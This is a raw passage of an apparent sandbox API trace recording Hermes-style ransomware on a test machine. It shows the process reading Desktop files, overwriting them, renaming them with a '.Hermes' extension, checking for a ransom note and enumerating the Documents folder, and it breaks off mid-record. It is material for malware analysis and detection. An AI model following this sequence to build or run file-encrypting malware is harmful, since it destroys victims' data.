lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3", lpFilePart=0x0) returned 0x60 [0091.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\nvebdfzvpwwtxc.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.190] GetFileType (hFile=0x304) returned 0x1 [0091.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0091.190] GetFileType (hFile=0x304) returned 0x1 [0091.190] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0xf72b [0091.190] ReadFile (in: hFile=0x304, lpBuffer=0x2fb1a18, nNumberOfBytesToRead=0xf72b, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x2fb1a18*, lpNumberOfBytesRead=0x19db6c*=0xf72b, lpOverlapped=0x0) returned 1 [0091.191] CloseHandle (hObject=0x304) returned 1 [0091.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0091.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0091.265] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3", lpFilePart=0x0) returned 0x60 [0091.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0091.265] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\nvebdfzvpwwtxc.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.266] GetFileType (hFile=0x304) returned 0x1 [0091.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0091.266] GetFileType (hFile=0x304) returned 0x1 [0091.267] WriteFile (in: hFile=0x304, lpBuffer=0x302cf04*, nNumberOfBytesToWrite=0xf730, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x302cf04*, lpNumberOfBytesWritten=0x19db60*=0xf730, lpOverlapped=0x0) returned 1 [0091.268] CloseHandle (hObject=0x304) returned 1 [0091.270] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3", lpFilePart=0x0) returned 0x60 [0091.271] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3.Hermes", lpFilePart=0x0) returned 0x67 [0091.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0091.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\nvebdfzvpwwtxc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7cef0c0, ftCreationTime.dwHighDateTime=0x1d4c621, ftLastAccessTime.dwLowDateTime=0x5e0cf760, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0xafde3fad, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xf730)) returned 1 [0091.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0091.271] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\nvebdfzvpwwtxc.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\nVeBdFzvpwwtXC.mp3.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\nvebdfzvpwwtxc.mp3.hermes")) returned 1 [0091.272] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg", nBufferLength=0x105, lpBuffer=0x19d580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg", lpFilePart=0x0) returned 0x5d [0091.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dac4) returned 1 [0091.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\tey6iro7ujb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.272] GetFileType (hFile=0x304) returned 0x1 [0091.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19dac0) returned 1 [0091.272] GetFileType (hFile=0x304) returned 0x1 [0091.272] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19dbc0 | out: lpFileSizeHigh=0x19dbc0*=0x0) returned 0xad2c [0091.272] ReadFile (in: hFile=0x304, lpBuffer=0x303cda0, nNumberOfBytesToRead=0xad2c, lpNumberOfBytesRead=0x19db6c, lpOverlapped=0x0 | out: lpBuffer=0x303cda0*, lpNumberOfBytesRead=0x19db6c*=0xad2c, lpOverlapped=0x0) returned 1 [0091.272] CloseHandle (hObject=0x304) returned 1 [0091.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19d684, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0091.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db38) returned 1 [0091.288] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19dbb4 | out: lpFileInformation=0x19dbb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0091.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db34) returned 1 [0091.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg", nBufferLength=0x105, lpBuffer=0x19d56c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg", lpFilePart=0x0) returned 0x5d [0091.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19dab0) returned 1 [0091.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\tey6iro7ujb.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0091.289] GetFileType (hFile=0x304) returned 0x1 [0091.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19daac) returned 1 [0091.289] GetFileType (hFile=0x304) returned 0x1 [0091.289] WriteFile (in: hFile=0x304, lpBuffer=0x30aa32c*, nNumberOfBytesToWrite=0xad30, lpNumberOfBytesWritten=0x19db60, lpOverlapped=0x0 | out: lpBuffer=0x30aa32c*, lpNumberOfBytesWritten=0x19db60*=0xad30, lpOverlapped=0x0) returned 1 [0091.301] CloseHandle (hObject=0x304) returned 1 [0091.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg", lpFilePart=0x0) returned 0x5d [0091.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg.Hermes", nBufferLength=0x105, lpBuffer=0x19d690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg.Hermes", lpFilePart=0x0) returned 0x64 [0091.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19db44) returned 1 [0091.302] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\tey6iro7ujb.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19dbc0 | out: lpFileInformation=0x19dbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848b08b0, ftCreationTime.dwHighDateTime=0x1d4ce65, ftLastAccessTime.dwLowDateTime=0x49fe55f0, ftLastAccessTime.dwHighDateTime=0x1d4cdfa, ftLastWriteTime.dwLowDateTime=0xafe30486, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0xad30)) returned 1 [0091.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19db40) returned 1 [0091.303] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\tey6iro7ujb.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kUVq_ b-BGEv YRT\\fhdgh_AfpkHHBB9_QqtI\\Yzb93Q82DMI82wO\\teY6IrO7ujB.jpg.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\kuvq_ b-bgev yrt\\fhdgh_afpkhhbb9_qqti\\yzb93q82dmi82wo\\tey6iro7ujb.jpg.hermes")) returned 1 [0091.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e4cc) returned 1 [0091.303] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x19df80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0091.303] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x19e1f4 | out: lpFindFileData=0x19e1f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808c52ec, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0x808c52ec, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xfeda98 [0091.303] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x808c52ec, ftLastAccessTime.dwHighDateTime=0x1d51251, ftLastWriteTime.dwLowDateTime=0x808c52ec, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf21cf60, ftCreationTime.dwHighDateTime=0x1d4cc4b, ftLastAccessTime.dwLowDateTime=0xff901db0, ftLastAccessTime.dwHighDateTime=0x1d4f274, ftLastWriteTime.dwLowDateTime=0xff901db0, ftLastWriteTime.dwHighDateTime=0x1d4f274, nFileSizeHigh=0x0, nFileSizeLow=0x14a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="--8WWFRhf0b.pptx", cAlternateFileName="--8WWF~1.PPT")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb98f00, ftCreationTime.dwHighDateTime=0x1d4bcef, ftLastAccessTime.dwLowDateTime=0x93c08ad0, ftLastAccessTime.dwHighDateTime=0x1d50605, ftLastWriteTime.dwLowDateTime=0x93c08ad0, ftLastWriteTime.dwHighDateTime=0x1d50605, nFileSizeHigh=0x0, nFileSizeLow=0x574f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1v32WDK.pptx", cAlternateFileName="1V32WD~1.PPT")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce775290, ftCreationTime.dwHighDateTime=0x1d4dde6, ftLastAccessTime.dwLowDateTime=0x8eb4fda0, ftLastAccessTime.dwHighDateTime=0x1d4fa2f, ftLastWriteTime.dwLowDateTime=0x8eb4fda0, ftLastWriteTime.dwHighDateTime=0x1d4fa2f, nFileSizeHigh=0x0, nFileSizeLow=0x153f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="4z4 82v.xlsx", cAlternateFileName="4Z482V~1.XLS")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcea2890, ftCreationTime.dwHighDateTime=0x1d498d7, ftLastAccessTime.dwLowDateTime=0x237eae20, ftLastAccessTime.dwHighDateTime=0x1d5119d, ftLastWriteTime.dwLowDateTime=0x237eae20, ftLastWriteTime.dwHighDateTime=0x1d5119d, nFileSizeHigh=0x0, nFileSizeLow=0x49ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="6jL9GY5.xlsx", cAlternateFileName="6JL9GY~1.XLS")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61147850, ftCreationTime.dwHighDateTime=0x1d4d174, ftLastAccessTime.dwLowDateTime=0x759304b0, ftLastAccessTime.dwHighDateTime=0x1d4cd3f, ftLastWriteTime.dwLowDateTime=0x759304b0, ftLastWriteTime.dwHighDateTime=0x1d4cd3f, nFileSizeHigh=0x0, nFileSizeLow=0x15f5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9dHCFyZ_.odt", cAlternateFileName="")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fc0e150, ftCreationTime.dwHighDateTime=0x1d49b45, ftLastAccessTime.dwLowDateTime=0xf31297c0, ftLastAccessTime.dwHighDateTime=0x1d4ffc1, ftLastWriteTime.dwLowDateTime=0xf31297c0, ftLastWriteTime.dwHighDateTime=0x1d4ffc1, nFileSizeHigh=0x0, nFileSizeLow=0x16b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Am2R.docx", cAlternateFileName="AM2R~1.DOC")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ada10, ftCreationTime.dwHighDateTime=0x1d4e00c, ftLastAccessTime.dwLowDateTime=0xbb65ac90, ftLastAccessTime.dwHighDateTime=0x1d4b15b, ftLastWriteTime.dwLowDateTime=0xbb65ac90, ftLastWriteTime.dwHighDateTime=0x1d4b15b, nFileSizeHigh=0x0, nFileSizeLow=0x160c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ayhyoBKV0xMLiy.docx", cAlternateFileName="AYHYOB~1.DOC")) returned 1 [0091.304] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655d5490, ftCreationTime.dwHighDateTime=0x1d4c70b, ftLastAccessTime.dwLowDateTime=0x873bcfb0, ftLastAccessTime.dwHighDateTime=0x1d49cb3, ftLastWriteTime.dwLowDateTime=0x873bcfb0, ftLastWriteTime.dwHighDateTime=0x1d49cb3, nFileSizeHigh=0x0, nFileSizeLow=0xed3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZh3 QA3w.xlsx", cAlternateFileName="BZH3QA~1.XLS")) returned 1 [0091.305] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0091.305] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.305] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c18aac0, ftCreationTime.dwHighDateTime=0x1d4ff8e, ftLastAccessTime.dwLowDateTime=0xc33f74c0, ftLastAccessTime.dwHighDateTime=0x1d4da58, ftLastWriteTime.dwLowDateTime=0xc33f74c0, ftLastWriteTime.dwHighDateTime=0x1d4da58, nFileSizeHigh=0x0, nFileSizeLow=0x1146a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDj9.docx", cAlternateFileName="IDJ9~1.DOC")) returned 1 [0091.305] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31363e70, ftCreationTime.dwHighDateTime=0x1d4d3ef, ftLastAccessTime.dwLowDateTime=0xc4063000, ftLastAccessTime.dwHighDateTime=0x1d4c7a8, ftLastWriteTime.dwLowDateTime=0xc4063000, ftLastWriteTime.dwHighDateTime=0x1d4c7a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kqnw_pPQeZHhvh", cAlternateFileName="KQNW_P~1")) returned 1 [0091.305] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0091.305] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4141cb90, ftCreationTime.dwHighDateTime=0x1d4cd91, ftLastAccessTime.dwLowDateTime=0xe4fb8bb0, ftLastAccessTime.dwHighDateTime=0x1d507a0, ftLastWriteTime.dwLowDateTime=0xe4fb8bb0, ftLastWriteTime.dwHighDateTime=0x1d507a0, nFileSizeHigh=0x0, nFileSizeLow=0x1210d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oK6_.pptx", cAlternateFileName="OK6_~1.PPT")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa87f514a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xddc1fe1e, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf5925e0, ftCreationTime.dwHighDateTime=0x1d4dfef, ftLastAccessTime.dwLowDateTime=0x952d61e0, ftLastAccessTime.dwHighDateTime=0x1d49080, ftLastWriteTime.dwLowDateTime=0x952d61e0, ftLastWriteTime.dwHighDateTime=0x1d49080, nFileSizeHigh=0x0, nFileSizeLow=0xc1d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="pFdPoLW.docx", cAlternateFileName="PFDPOL~1.DOC")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0xfeda98, lpFindFileData=0x19e200 | out: 